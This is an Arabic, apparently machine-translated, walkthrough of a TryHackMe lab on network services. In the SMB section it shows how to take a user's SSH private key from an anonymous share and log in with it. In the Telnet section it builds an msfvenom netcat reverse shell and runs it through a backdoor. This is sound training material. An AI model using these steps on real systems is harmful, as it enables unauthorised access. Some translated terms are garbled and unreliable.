هذه كتابة لغرفة TryHackMe.com، خدمات الشبكة، التي أنشأتها شركة Polomints.
ستتضمن هذه المقالة إجابات لمعظم الأسئلة، ولكن، كما طلبت TryHackMe، لن تتضمن العلامات أو كلمات المرور.
يمكن العثور على هذه الغرفة في مسار تعلم الدفاع السيبراني في وقت كتابة هذا التقرير وهنا.
يمكنك العثور على إرشادات الفيديو الخاصة بي حول هذا هنا.
تتبع المهام في هذه الغرفة نمطًا متكررًا، الفهم، والتعداد، والاستغلال. تعلمك مهام الفهم عن الخدمة التي ستستغلها. تعلمك مهام التعداد كيفية جمع البيانات حول الخدمة. وبعد ذلك، تقوم مهام الاستغلال بتنفيذ الاستغلال لكل خدمة.
الأجهزة الافتراضية التي تستخدمها هذه الغرفة كلها موجودة في مهام التعداد، والتي يُشار إليها برمز المكدس الأخضر . نظرًا لأن الأجهزة الافتراضية يمكن أن تستغرق من 1 إلى 5 دقائق لتدور، فإنني أوصي قبل أن تبدأ مهمة الفهم، بالانتقال إلى مهمة التعداد وبدء تشغيل الجهاز. وهذا يمنحه وقتًا للإعداد أثناء الرجوع وتشغيل مهمة الفهم.
أيضًا، لنفترض أنك جديد على TryHackMe مثلي. في هذه الحالة، ربما تكون لديك فقط أجهزة افتراضية يمكنك الاتصال بها باستخدام OpenVPN عن طريق إدخال عنوان IP الخاص بها في متصفحك، عادةً مع رقم منفذ مذكور في المهام، والذي ينقلك بعد ذلك إلى واجهة المستخدم الرسومية. هذا ليس هو الحال مع هذه الغرفة. تم إعداد هذه الأجهزة الافتراضية لتوفير الخدمات التي تختبرها وتلك الخدمات فقط. وهذا يعني أنك ستستخدم محطة طرفية على جهازك المحلي، أو Attack Box، أو إذا كنت مستخدمًا متميزًا، أو Kali Box القائم على المتصفح للتواصل مع الأجهزة الافتراضية. لقد استخدمت مربع كالي القائم على المتصفح.
إذا كنت ستستخدم جهازك المحلي، فإنني أقترح عليك استخدام إما جهاز Linux أو نظام Windows الفرعي لنظام التشغيل Linux مع تثبيت Kali/النكهة المفضلة لديك. جميع الأدوات التي ستحتاجها مثبتة مسبقًا مع Kali ولكن يمكن إضافتها إلى توزيعات أخرى. أيضًا، ليس لدي نظام Windows فرعي لنظام التشغيل Linux يعمل على جهازي، لذا قد يتعين عليك اكتشاف بعض الأشياء بنفسك.
هناك جزء يتطلب ملفًا متوفرًا في جهاز Kali القائم على المتصفح/صندوق الهجوم. إذا كنت تريد استخدام جهازك المحلي، فسيتعين عليك تشغيل Attack Box وتنزيل هذا الملف. يمكنك أيضًا استخدام صندوق الهجوم للمهمة 10 فقط.
@@ لقد تعلمت لاحقًا أنه يمكنك تنزيل الملف من GitHub الخاص به على rockyou.txt، وهذه هي الطريقة الأسهل إلى حد كبير، ولكنني سأترك هذه التعليمات الإضافية هنا في حالة رغبة أي شخص في تجربتها. @@
كيفية التنزيل باستخدام WinSCP على نظام التشغيل Windows 10
إذا كنت ترغب في تنزيل الملف الذي يبلغ حجمه 136 ميجابايت واستخدام المحطة المحلية لديك، فإليك كيفية القيام بذلك على جهاز يعمل بنظام Windows. بالنسبة للنقل، استخدمت WinSCP. أولاً، قم بتشغيل صندوق الهجوم المقسم. ثم بمجرد الوصول إلى سطح المكتب، انقر فوق "i" الموجود في الجزء السفلي الأيسر من الشاشة . سيعطيك ذلك عنوان IP الخاص بـ Attack Box واسم المستخدم وكلمة المرور. بعد ذلك، في WinSCP، على شاشة تسجيل الدخول، حدد "موقع جديد"، ثم أدخل عنوان IP الخاص بـ Attack Box كاسم المضيف، واسم المستخدم كاسم المستخدم، وكلمة المرور ككلمة المرور.
ضع في اعتبارك؛ معلوماتك ستكون مختلفة عن معلوماتي. حدد sftp كبروتوكول، ويجب أن يتم ملء المنفذ 22 تلقائيًا؛ إذا لم يكن الأمر كذلك، فاكتب 22 للمنفذ. ثم انقر فوق تسجيل الدخول. من المحتمل أن تحصل على نافذة منبثقة تسألك عما إذا كنت تريد "متابعة الاتصال بخادم غير معروف..." انقر فوق "نعم". بمجرد تسجيل الدخول، ستكون في الدليل الجذر لـ Attack Box؛ انقر نقرًا مزدوجًا فوق "أدوات" ثم "قوائم الكلمات" (سيتغير المسار في WinSCP إلى /usr/share/wordlists/
فلا بأس.) ابحث عن الملف المسمى rockyou.txt، وحدده، وانقر فوق "تنزيل".
سيتم فتح مربع الحوار "تنزيل"، وحدد مسار الملف الذي تريده، ثم انقر فوق "موافق". لديك الآن الملف الذي تحتاجه للمهمة 10. تذكر مسار الملف الخاص به؛ سوف تحتاج إليها.
انتهى، كيفية التنزيل باستخدام WinSCP على نظام التشغيل Windows 10
كيفية التنزيل باستخدام محطة Linux
تمامًا كما هو الحال مع نظام التشغيل Windows، ستبدأ في تشغيل Attack Box بطريقة العرض المقسمة. ثم بمجرد الوصول إلى سطح المكتب، انقر فوق "i" الموجود في الجزء السفلي الأيسر من الشاشة . سيعطيك ذلك عنوان IP الخاص بـ Attack Box واسم المستخدم وكلمة المرور.
في المحطة الطرفية الخاصة بك، ستكتب sftp root@{Your Attack Box Private IP}
بدون الأقواس. قم دائمًا بإزالة الأقواس المتعرجة عند تنفيذ الأوامر الواردة في هذه المقالة. اسم المستخدم لكل صندوق هجوم رأيته هو الجذر؛ إذا كان اسمك مختلفًا، فأدخل اسم المستخدم بدلاً من الجذر في الأمر أعلاه. وسيطلب منك بعد ذلك كلمة المرور. انسخ كلمة المرور والصقه من نافذة معلومات الجهاز في صندوق الهجوم. لا تقلق إذا لم تظهر كلمة المرور؛ ما عليك سوى لصقه/كتابته ثم الضغط على زر الإدخال. بعد الاتصال، يجب أن تحصل على مطالبة sftp>
. إذا حدث خطأ ما، فتأكد مرة أخرى من اتصال OpenVPN، ومن أنك تستخدم اسم المستخدم/عنوان IP/كلمة المرور الصحيحة. بمجرد حصولك على موجه sftp
، اكتب get /root/Desktop/Tools/wordlists/rockyou.txt
، مع إيلاء اهتمام وثيق للأحرف الكبيرة. يجب أن يبدأ تنزيل الملف على نظامك المحلي.
إذا كنت تستخدم توزيعة مشابهة لتوزيعتي (Kali)، فيجب أن تقوم بإسقاط الملف في المجلد الرئيسي للمستخدم. تذكر مسار الملف. سوف تحتاج إليها للمهمة 10.
انتهى، كيفية التنزيل باستخدام محطة Linux
الآن، بعد أن انتهى كل ذلك، دعنا ننتقل إلى المهام!
هذه المهمة إعلامية بحتة ولا تتطلب إجابة على السؤال. تتيح لك القراءة من خلاله معرفة أنك بحاجة إلى فهم أساسي للتنقل في أنظمة Linux وتقترح مساحة لتحسين مهاراتك. كما أنه يذكرك بالبقاء رطبًا.
انقر فوق الزر "مكتمل" وانتقل إلى المهمة التالية.
تعلمك هذه المهمة عن خدمة Microsoft Server Letter Block (SMB)، وهو بروتوكول خادم عميل يستخدم لمشاركة الوصول إلى الملفات والطابعات والموارد الأخرى عبر الشبكة. نظرًا لأنها مهمة نظرية، اقرأ المعلومات وأجب عن الأسئلة أدناه. إذا لم يسبق لك رؤية كلمة NetBEUI من قبل، ولن ألومك إذا لم تكن قد رأيتها، فسيتم نطقها Net Buoy، مثل عوامة المحيط.
إذا كنت ترغب في تقليل وقت الانتظار، فإنني أوصي بفتح المهمة 3 والنقر فوق الزر الأخضر "بدء تشغيل الجهاز" الآن، ثم قم بالتمرير للأعلى وتشغيل هذه المهمة.
السؤال 1
ماذا تعني الشركات الصغيرة والمتوسطة؟
كتلة رسالة الخادم
السؤال 2
ما هو نوع البروتوكول SMB؟
طلب الاستجابة
السؤال 3
ما الذي يستخدمه العملاء للاتصال بالخوادم؟
تكب / إب
السؤال 4
ما هي الأنظمة التي يعمل عليها سامبا؟
يونكس
تغطي هذه المهمة مرحلة جمع المعلومات التي تعتبر بالغة الأهمية لإعداد استغلال ناجح.
إذا اتبعت الإرشادات المذكورة أعلاه، فقد قمت بالفعل بتشغيل الجهاز لهذه المهمة قبل إكمال المهمة 2. إذا لم يكن الأمر كذلك، فيرجى تشغيل الجهاز الآن بالنقر فوق الزر الأخضر المسمى "بدء تشغيل الجهاز". بمجرد تشغيل الجهاز بالكامل، سترى عنوان IP في أعلى الصفحة؛ سوف تحتاج إليها.
يبدأ بوصف موجز لأداة فحص المنافذ Nmap. إذا كنت تريد/تحتاج إلى مزيد من الخبرة مع Nmap قبل المتابعة، فإنها توصي بغرفة تعد جزءًا من سلسلة Red Primer. الخياران الوحيدان اللذان ستحتاج إلى معرفتهما لهذه الغرفة هما -A
، الذي يتيح اكتشاف نظام التشغيل، واكتشاف الإصدار، ومسح البرنامج النصي، وتتبع المسار، والخيار -p-
، الذي يخبر Nmap بفحص جميع المنافذ، وليس فقط المنافذ 1000 الأكثر شيوعا. بناء جملة عمليات فحص Nmap التي سنستخدمها هنا هو nmap {options} {target}
. لذلك، بالنسبة للمسح الأول، سيبدو الأمر مثل nmap -A -p- 10.10.10.10
مع عنوان IP الخاص بجهازك النشط بدلاً من العشرة. توضح لقطة الشاشة هذه المكان الذي ستجد فيه عنوان IP لجهازك. تأكد من استخدام عنوان IP الخاص بجهازك النشط، ولا تقم فقط بنسخ عنوان IP الذي تراه هنا.
سنستخدم أيضًا الأداة enum4linux، والتي كانت جديدة بالنسبة لي. يُستخدم enum4linux لتعداد مشاركات الشركات الصغيرة والمتوسطة على أنظمة Windows وLinux. توجد قائمة بخيارات enum4linux المتاحة؛ ومع ذلك، فإن الخيار -a
، الذي يغطي كل منهم، هو ما استخدمته. ملاحظة: المعلومات المقدمة لـ enum4linux تصف الخيار بأنه -A
بحرف كبير، وهذا غير صحيح؛ يجب أن تكون صغيرة a
.
السؤال 1
قم بإجراء فحص Nmap من اختيارك. كم عدد المنافذ المفتوحة؟
بالنسبة لهذا السؤال، يمكنك إجراء فحص Nmap أساسي لـ nmap {IP of your Active Machine}
. ومع ذلك، إذا كنت ترغب في إجراء فحص واحد والحصول على جميع المعلومات تقريبًا للأسئلة التالية، فقم بتشغيل nmap -A -p- {IP of your Active Machine}
. إليك المعلومات التي تحصل عليها من خلال الفحص الأساسي.
كما ترون من نتائج الفحص، هناك 3 منافذ مفتوحة، 22، 139، و445. ومع ذلك، ليس هناك الكثير مما نحتاجه.
السؤال 2
ما هي المنافذ التي تعمل عليها الشركات الصغيرة والمتوسطة؟
هذا السؤال أصعب قليلاً. يعد SMB جزءًا من Microsoft-ds على المنفذ 445، ولكن يمكن تشغيله عبر NetBIOS على 139. لذا، فإن الإجابة على هذا السؤال هي كلا الأمرين.
139/445
السؤال 3
لنبدأ مع enum4linux، ونجري تعدادًا أساسيًا كاملاً. بالنسبة للمبتدئين، ما هو اسم مجموعة العمل ؟
بالنسبة لهذا السؤال، إذا قمت بتشغيل nmap -A {Your Machine's IP}
، فلديك هذه المعلومات بالفعل.
ومع ذلك، هذا السؤال يعلمنا عن enum4linux، لذلك دعونا نستخدمه. قم بتشغيل enum4linux -a {IP Address of your Active Machine}
.
كما ترون من لقطات الشاشة أعلاه، تم إدراج مجموعة العمل كمجموعة عمل.
السؤال 4
ما الذي يأتي كاسم الجهاز؟
بالنسبة لهذا السؤال، ستحتاج إلى التمرير لأسفل إلى قسم "نتائج البرنامج النصي للمضيف" في نتائج الفحص إذا كنت تستخدم nmap -A -p-
.
يظهر تحت اسم الكمبيوتر polosmb
.
بالنسبة إلى enum4linux، عليك القيام بالمزيد من الاستدلال.
السؤال 5
يوجد أيضًا في لقطات الشاشة أعلاه الإجابة على هذا السؤال.
ما هو إصدار نظام التشغيل الذي يعمل به؟
6.1
السؤال 6
لا يمكن الإجابة على هذا السؤال إلا باستخدام enum4linux. قم بتشغيل enum4linux -A {IP of your Active Machine}
ما هي الحصة التي تبرز كشيء قد نرغب في التحقيق فيه؟
IPC $ هو الاتصال بين العمليات. لن تحتاج إلى ذلك. print$ مخصص لبرامج تشغيل الطابعة، وهو أيضًا ليس ما نريده حقًا. netlogon لخدمة تسجيل الدخول إلى الشبكة، ربما لن يكون لدينا المعلومات التي نحتاجها. وهذا يترك profiles
التي تحتوي على معلومات حول ملفات تعريف المستخدمين. وهذا له إمكانات. قد نتمكن من العثور على معلومات تسجيل دخول المستخدم هناك.
هذا هو المكان الذي نصل فيه إلى المزيد من المتعة. سنستخدم SMBClient، المتوفر على Kali ولكن يمكن إضافته إلى التوزيعات الأخرى. بالنسبة إلى SMBClient، سنستخدم بناء الجملة smbclient //{IP address}/{Share Name} -U {Username} -p {Port Number}
.
السؤال 1
ما هو بناء الجملة الصحيح للوصول إلى مشاركة SMB تسمى "سرية" باعتبارها "بدلة" للمستخدم على جهاز يحمل عنوان IP 10.10.10.2 على المنفذ الافتراضي؟
بالنظر إلى بناء الجملة أعلاه، يمكننا ببساطة توصيل المعلومات.
smbcliet //10.10.10.2/secret -U suit -p 445
السؤال 2 عظيم! لقد انتهيت الآن من صياغة الجملة، فلنحاول استغلال هذه الثغرة الأمنية. لديك قائمة بالمستخدمين، واسم المشاركة، والثغرة الأمنية المشتبه بها.
لا توجد إجابة مطلوبة؛ فقط انقر فوق إكمال.
السؤال 3
دعونا نرى ما إذا كانت مشاركتنا المثيرة للاهتمام قد تم تكوينها للسماح بالوصول المجهول، على سبيل المثال؛ لا يتطلب المصادقة لعرض الملفات. يمكننا القيام بذلك بسهولة عن طريق:
باستخدام اسم المستخدم "مجهول"
الاتصال بالمشاركة التي وجدناها أثناء مرحلة التعداد
وعدم توفير كلمة المرور
عندما يطلب كلمة المرور، فقط اضغط على زر الإدخال.
هل تسمح المشاركة بالوصول المجهول؟ نعم / لا؟
إذا رأيت المطالبة smb: >، فهذا يعني أنك قمت بتسجيل الدخول بنجاح دون تقديم كلمة المرور. لذلك، تسمح Y
بالوصول المجهول.
السؤال 5
أدخل ls
لعرض محتويات المشاركة. ماذا ترى ويبدو أنه سيحتوي على بعض المعلومات لنا؟
أول من قفز في وجهي كان الملف النصي. ضع في اعتبارك الآن أن Linux لا يحب الملفات التي تحتوي أسماؤها على مسافات، لذا سيتعين عليك إضافة " " حولها في أوامرك. بالحديث عن، كما تقول المحطة، فإن كتابة "مساعدة" سوف تحصل على قائمة بالأوامر المتاحة، والتي وجدتها مفيدة جدًا.
عادة، سأستخدم cat
لعرض محتويات ملف .txt، لكنه ليس موجودًا في القائمة. يبدو أن SMBClient لا يعرف ذلك، لذا اخترت more
.
يقدم لنا هذا الملف معلومتين كبيرتين، اسم مستخدم محتمل، استنادًا إلى John Cactus، وعنوان الملف، وأن John لديه حساب SSH تم إعداده.
عظيم! قم بإلقاء نظرة حولك بحثًا عن أي مستندات مثيرة للاهتمام يمكن أن تحتوي على معلومات قيمة. لمن يمكننا أن نفترض أن مجلد الملف الشخصي هذا ينتمي إلى؟
جون كاكتوس
السؤال 6
قراءة ملف .txt في السؤال السابق يعطينا الإجابة على هذا السؤال أيضًا.
ما هي الخدمة التي تم تكوينها للسماح له بالعمل من المنزل؟
سش
السؤال 7
الآن بعد أن انتهينا من ملف .txt، اضغط على "q" للخروج من المحرر.
تمام! الآن بعد أن عرفنا ذلك، ما الدليل الموجود على المشاركة الذي يجب أن ننظر إليه؟
نظرًا لأننا نبحث عن مزيد من المعلومات حول حساب John's SSH، أعتقد أن هناك مجلدًا هنا يمكن أن يكون مفيدًا للغاية؛ أي واحد تعتقد أنه هو؟
.ssh
السؤال 8
يحتوي هذا الدليل على مفاتيح المصادقة التي تسمح للمستخدمين بمصادقة أنفسهم على الخادم ثم الوصول إليه. أي من هذه المفاتيح هو الأكثر قيمة بالنسبة لنا؟
لذلك، سنقوم بإدخال القرص المضغوط إلى المجلد .ssh عن طريق إدخال cd .ssh
. ثم قم بتشغيل الأمر ls
مرة أخرى لعرض المحتويات.
يتم تخزين مفتاح SSH الافتراضي في الملف، id_rsa
. إذن، هذه هي إجابتنا.
إذا كنت تريد رؤية الشكل الذي يبدو عليه مفتاح SSH، فيمكنك استخدام الأمر more مرة أخرى لترى ذلك. more id_rsa
. أهم الأجزاء التي يجب رؤيتها هي أنها تبدأ بـ "BEGIN RSA PRIVATE KEY" مع 5 شرطات على كلا الجانبين. ثم ينتهي بـ "END RSA PRIVATE KEY" أيضًا برقم 5 متقطع على كلا الجانبين. ثم "q" مرة أخرى للخروج من المحرر.
الآن، يمكننا إجراء بعض الاستطلاعات الإضافية لجعل السؤال التالي أسهل قليلًا. قم بتشغيل more id_isa.pub
. وشاهد ما يمكنك رؤيته في نهاية الملف.
السؤال 9
قم بتنزيل هذا الملف على جهازك المحلي، وقم بتغيير الأذونات إلى "600" باستخدام "chmod 600 [ملف]".
لتنزيل الملف، قم بإلقاء نظرة على أمر المساعدة ومعرفة الأمر الذي تعتقد أنه من المرجح أن يؤدي إلى التنزيل.
أعتقد get
سيعمل بشكل رائع. لذلك، لتنزيل الملف أثناء وجوده في المجلد .ssh، ستقوم بتشغيل get id_rsa
. على الجهاز الذي يعتمد على متصفح Kali، سيؤدي ذلك إلى إسقاط الملف في الدليل الجذر الخاص بك. إذا كنت تستخدم توزيعة Linux يتم تشغيلها محليًا، فمن المحتمل أن تقوم بإسقاطها في الدليل الرئيسي للمستخدم.
الآن، تتطلب ملفات مفتاح RSA قدرًا معينًا من الأمان حتى تعمل، لذلك نحتاج إلى تعيين الأذونات الصحيحة لهذا الملف. لقد توقفنا أيضًا عن المشاركة، لذا قم بتشغيل quit
للعودة إلى المطالبة الخاصة بجهازك. ثم قم بتشغيل chmod 600 {File Path}
لذلك، بالنسبة لجهاز الويب Kali، chmod 600 id_rsa
. بالنسبة للأجهزة الأخرى، يمكنك إما الانتقال إلى المجلد الذي يوجد به الملف باستخدام cd
ثم تشغيل الأمر أعلاه، ثم كتابة المسار إلى الملف في الأمر.
الآن، استخدم المعلومات التي قمت بجمعها بالفعل لتحديد اسم المستخدم للحساب. ثم استخدم الخدمة والمفتاح لتسجيل الدخول إلى الخادم.
وبما أننا قمنا بهذا القليل من الاستطلاع الإضافي، فإننا نعلم أن اسم المستخدم هو "cactus". عندما واجهت هذا لأول مرة، افترضت أن اسم المستخدم سيكون j.cactus وواجهت خطأ لم أفهمه - وقد أدى العثور على اسم المستخدم الصحيح إلى حل المشكلة.
بناء جملة SSH باستخدام مفتاح محدد هو: ssh -i {Key File} {Username}@{IP Address}
. بالنسبة لنا، سيكون ذلك ssh -i id_rsa cactus@{Active Machine's IP Address}
عندما يسألك إذا كنت متأكدًا من رغبتك في الاستمرار، اكتب "نعم" واضغط على زر الإدخال. تهانينا! عندما ترى التغيير الفوري إلى cactus@polosmb:~$
، فقد قمت الآن بتسجيل الدخول بنجاح إلى خادم باستخدام حساب ليس خاصًا بك.
استخدم الأمر ls
لمعرفة ما هو موجود هنا، ملف واحد فقط؛ افتحه حتى تتمكن من التقاط هذا العلم! يمكنك استخدام cat
هنا لطباعة المحتويات على الشاشة.
السؤال 10
انسخ محتويات الملف الذي فتحته للتو والصقه في المربع الخاص بهذه الإجابة. يطلب موقع TryHackMe من عمليات الكتابة استبعاد العلامات، لذا لن أنشرها هنا.
عند اكتمال قسم الشركات الصغيرة والمتوسطة، يجب عليك إنهاء الجهاز النشط الحالي، والانتقال إلى المهمة 6 وبدء تشغيل هذا الجهاز، قبل العودة إلى المهمة 5.
Telnet هو بروتوكول تطبيق قديم. يتم استخدامه للتفاعل مع المضيفين البعيدين. بمجرد الاتصال بالنظام البعيد، يصبح محطة افتراضية لذلك النظام. ومع ذلك، فهو قديم لأنه يرسل كافة المعلومات الخاصة به بنص واضح؛ لا يوجد تشفير. نظرًا لأنه أكثر أمانًا، فقد حل SSH محل Telnet في معظم المواقف. للاتصال بنظام بعيد باستخدام Telnet، يمكنك استخدام بناء جملة telnet {IP Address} {port Number}
. المنفذ الافتراضي لـ Telnet هو 23.
السؤال 1
ما هو التلنت؟
بروتوكول التطبيق
السؤال 2
ما الذي حل محل Telnet ببطء؟
سش
السؤال 3
كيف يمكنك الاتصال بخادم Telnet باستخدام IP 10.10.10.3 على المنفذ 23؟
التلنت 10.10.10.3 23
السؤال 4
عدم وجود ما يعني أن جميع اتصالات Telnet تكون بنص عادي؟
التشفير
إذا لم تكن قد قمت بالفعل بتشغيل الجهاز لهذه المهمة، فيرجى القيام بذلك الآن.
كما هو الحال مع مهام الشركات الصغيرة والمتوسطة، سنبدأ بإجراء فحص للمنافذ لنظامنا المستهدف.
قم بتشغيل nmap -A -p- {IP address of your Active Machine}
قد يستغرق هذا الفحص بعض الوقت. تم الانتهاء من المنجم في 174.56 ثانية.
السؤال 1
كم عدد المنافذ المفتوحة على الجهاز المستهدف؟
لا يوجد سوى منفذ "1" مفتوح.
السؤال 2
أي منفذ هذا؟ ملحوظة: هذا يسأل عن المنفذ المفتوح.
8012
السؤال 3
هذا المنفذ غير مخصص ولكنه لا يزال يسرد البروتوكول الذي يستخدمه؛ ما هو البروتوكول هذا؟
برنامج التعاون الفني
السؤال 4
أعد الآن تشغيل فحص Nmap، بدون العلامة -p-؛ كم عدد المنافذ التي تظهر مفتوحة؟
تذكر أن الخيار -p-
يخبر Nmap بفحص كافة المنافذ، لذلك بإزالته، سيقوم Nmap بفحص أعلى 1000 منفذ فقط.
المنافذ "0" مفتوحة.
السؤال 5
نرى أن تعيين Telnet لمنفذ غير قياسي لا يعد جزءًا من قائمة المنافذ الشائعة أو أفضل 1000 منفذ يقوم Nmap بمسحها. من الضروري تجربة كل الزوايا عند التعداد، حيث أن المعلومات التي تجمعها هنا سترشدك إلى مرحلة الاستغلال.
لا حاجة للإجابة؛ انقر فوق إكمال
السؤال 6
بناءً على العنوان الذي تم إرجاعه إلينا، ما الذي نعتقد أنه يمكن استخدام هذا المنفذ من أجله؟
يمكنك معرفة ما يتحدث عنه هذا السؤال في أسفل لقطة الشاشة الأخيرة.
باب خلفي
السؤال 7
لمن يمكن أن تنتمي؟ يعد جمع أسماء المستخدمين المحتملة خطوة أساسية في التعداد.
نفس السؤال الأخير، المعلومات في لقطة الشاشة الأخيرة.
سكيدي
السؤال 8
احتفظ دائمًا بمذكرة بالمعلومات التي تجدها أثناء مرحلة التعداد، حتى تتمكن من الرجوع إليها عند الانتقال لتجربة برمجيات إكسبلويت.
حفظ الملاحظات مهم جدا. تعد كتابة التقارير عن النتائج التي توصلنا إليها جزءًا مهمًا من التمتع بالأمن. إن التعود على تدوين الملاحظات بشكل شامل يجعل كل شيء أسهل.
لا حاجة للإجابة؛ انقر فوق إكمال
انهيار الطريقة
إذن فمن مرحلة التعداد نعرف:
- There is a poorly hidden telnet service running on this machine
- The service itself is marked “backdoor”
- We have a possible username of “Skidy” implicated
باستخدام هذه المعلومات، دعونا نحاول الوصول إلى منفذ Telnet هذا واستخدامه كموطئ قدم للحصول على غلاف عكسي كامل على الجهاز!
تذكر من الأعلى أن بناء جملة telnet هو telnet {Machine IP} {Port}
السؤال 1
حسنًا، فلنحاول الاتصال بمنفذ telnet هذا! إذا واجهتك مشكلة، فقم بإلقاء نظرة على بناء جملة الاتصال الموضح أعلاه.
لهذا، ستحتاج إلى تشغيل telnet {Your Active Machine's IP Address} 8012
لأنه على الرغم من أن المنفذ الافتراضي لـ Telnet هو 23، كما وجدنا في بحث Nmap، فإن هذا النظام يحتوي عليه على منفذ غير قياسي.
لا حاجة للإجابة؛ انقر فوق إكمال.
السؤال 2
عظيم! إنه اتصال telnet مفتوح! ما هي رسالة الترحيب التي نتلقاها؟
سكيديز مستتر.
السؤال 3
دعونا نحاول تنفيذ بعض الأوامر. هل نحصل على عائد على أي مدخلات ندخلها في جلسة telnet؟ (نعم / لا)
بالنسبة لهذا الأمر، اكتب أي أوامر تريدها. ls
أن أرى ماذا كان هناك. وبما أننا لم نحصل على أي معلومات، فإن الإجابة على هذا السؤال هي:
ن
السؤال 4
هممم... هذا غريب. دعونا نتحقق لمعرفة ما إذا كان ما نكتبه يتم تنفيذه كأمر نظام.
لا حاجة للإجابة؛ انقر فوق إكمال.
السؤال 5
نظرًا لأنه يتم إرسال جميع أوامرك إلى الفراغ، فمن الصعب قليلاً إغلاق هذا الاتصال. للحصول على مطالبتك بالتغيير إلى شيء مفيد، اضغط على ctrl + ]
. هذا هو مفتاح التحكم ومفتاح القوس المربع الأيمن في نفس الوقت، والذي يجب أن يغير المطالبة إلى telnet>
، ثم اكتب close
واضغط على إدخال. يجب أن تعود الآن إلى مطالبتك المعتادة. أو، إذا كنت ترغب في ذلك، يمكنك ترك جلسة telnet متصلة وفتح علامة تبويب/نافذة جديدة لتشغيل ملف tcpdump التالي.
ابدأ تشغيل مستمع tcpdump على جهازك المحلي.
سيقوم مستمع tcpdump بمراقبة الواجهة المحددة لحركة المرور ثم تسجيل حركة المرور تلك على الشاشة. ستبدأ تشغيله ثم تتركه قيد التشغيل في علامة التبويب/النافذة الخاصة به.
إذا كنت تستخدم جهازك الخاص مع اتصال OpenVPN، فاستخدم:
Sudo tcpdump ip proto icmp -i tun0
في حالة استخدام AttackBox، استخدم:
Sudo tcpdump ip proto icmp -i eth0
يؤدي هذا إلى بدء تشغيل مستمع tcpdump، والاستماع بشكل صريح إلى حركة مرور ICMP، التي تعمل عليها أوامر ping.
الفرق بين الاثنين هو واجهة الشبكة. في جهاز Linux المحلي الخاص بك، من المفترض أن تستخدم tun0، وهو جهاز الاتصال النفقي الذي يجب أن يكون اتصال OpenVPN، لكن لا تقتبس مني ذلك. قد تضطر إلى تشغيل sudo ifconfig
لتحديد الواجهة التي يجب أن تستخدمها.
لا حاجة للإجابة؛ انقر فوق إكمال
السؤال 6
بالنسبة لهذا السؤال، سوف نستخدم جلسة telnet مرة أخرى؛ إذا كان لا يزال مفتوحًا، فهذا رائع. إذا لم يكن الأمر كذلك، فافتح علامة تبويب/نافذة جديدة وأعد الاتصال بالجهاز باستخدام نفس الخطوات المذكورة أعلاه. لاحظ أنك ستحتاج إلى عنوان IP الخاص بالنظام الذي تعمل عليه، إما Attack Box أو Kali Machine أو نظامك المحلي، لهذا السؤال.
هذا السؤال يجعلنا نقوم بتشغيل أمر ping خلال جلسة telnet. سنقوم بإدخال .RUN ping {Local IP Address} -c 1
. سيؤدي ذلك إلى إرسال اختبار ping واحد من المضيف البعيد إلى أجهزتنا المحلية. إذا كان بإمكانك عرض كلتا النافذتين في وقت واحد، فيمكنك رؤية ما يحدث أثناء حدوثه.
الآن، استخدم الأمر "ping [local THM ip] -c 1" خلال جلسة telnet لمعرفة ما إذا كنا قادرين على تنفيذ أوامر النظام. هل نتلقى أي أصوات؟ لاحظ أنك تحتاج إلى تمهيد هذا بـ .RUN (Y/N)
من المفترض أن تشاهد كلاً من طلب ping ورد ping في علامة التبويب الخاصة بك باستخدام مستمع tcpdump.
ي
السؤال 7
عظيم! هذا يعني أنه يمكننا تنفيذ أوامر النظام وأنه يمكننا الوصول إلى أجهزتنا المحلية. الآن دعونا نحظى ببعض المرح!
لا حاجة للإجابة؛ انقر فوق "متابعة".
السؤال 8
بالنسبة لهذا السؤال، ستترك جلسة telnet مستمرة وتُدخل هذا في علامة تبويب/نافذة مختلفة. يمكنك الضغط على ctrl + c
لإنهاء مستمع tcpdump واستخدام تلك النافذة؛ لم نعد بحاجة إلى tcpdump بعد الآن. قم بتشغيل الأمر أدناه مع توصيل عنوان IP الخاص بنظامك المحلي حيث توجد الأقواس، ولكن اترك الأقواس. بمجرد الضغط على زر الإدخال في الأمر، سيستغرق الأمر بعض الوقت لإنشاء الحمولة، ثم طباعتها على الشاشة.
سنقوم بإنشاء حمولة قذيفة عكسية باستخدام msfvenom. سيؤدي هذا إلى إنشاء وترميز غلاف عكسي لـ netcat لنا. وهنا بناء الجملة لدينا:
"msfvenom -p cmd/unix/reverse_netcat lhost=[local tun0 ip] lport=4444 R"
-p = الحمولة lhost = عنوان IP للمضيف المحلي الخاص بنا (هذا هو عنوان IP الخاص بجهازك) lport = المنفذ الذي سيتم الاستماع إليه (هذا هو المنفذ الموجود على جهازك) R = تصدير الحمولة بتنسيق أولي
ما الكلمة التي تبدأ بها الحمولة النافعة؟
mkfifo
السؤال 9
ممتاز. نحن على وشك الوصول إلى هناك. الآن، كل ما علينا فعله هو تشغيل مستمع netcat على أجهزتنا المحلية. نحن نفعل هذا باستخدام:
"nc -lvp [منفذ الاستماع]"
كيف سيبدو الأمر بالنسبة لمنفذ الاستماع الذي اخترناه في حمولتنا؟
نك-لفب 4444
السؤال 10
عظيم! الآن هذا قيد التشغيل. نحتاج إلى نسخ ولصق حمولة msfvenom الخاصة بنا في جلسة telnet وتشغيلها كأمر. نأمل أن يمنحنا هذا قذيفة على الجهاز المستهدف!
تذكر أنه لكي يعمل الأمر في جلسة telnet؛ يجب أن يكون لديك .RUN في البداية.
لا حاجة للإجابة؛ انقر فوق إكمال.
السؤال 11
نجاح! ما هي محتويات ملف flag.txt؟
إذا نجحت الصدفة العكسية، فيجب أن ترى "الاتصال بـ [10.10.xx] من IP وما إلى ذلك..." أسفل مستمع netcat.
ومن هناك، يمكنك إدخال الأوامر كالمعتاد وإرسالها إلى النظام البعيد.
أقترح البدء بـ ls
لمعرفة الملفات الموجودة، ويجب أن تكون قادرًا على معرفة الباقي لأنك قد التقطت بالفعل علامة كهذه من قبل.
بهذا نختتم القسم الخاص بـ Telnet. لذلك، قم بإنهاء الجهاز النشط الحالي، وانتقل إلى المهمة 9، وقم بتشغيل هذا الجهاز، ثم عد إلى المهمة 8.
بروتوكول نقل الملفات، بروتوكول نقل الملفات. كما يوحي الاسم، يتم استخدامه لنقل الملفات عبر الشبكة. لقد أصبح بروتوكول FTP العادي قديمًا وتم استبداله بمعايير مختلفة وأكثر أمانًا. FTPS هو FTP عبر TLS، لذا فإن منفذه الافتراضي لا يزال 21، تمامًا مثل FTP. والآخر هو SFTP، وهو بروتوكول نقل الملفات الآمن ويستخدم SSH، لذا فإن منفذه الافتراضي هو 22.
السؤال 1
ما هو نموذج الاتصال الذي يستخدمه FTP؟
خادم العميل
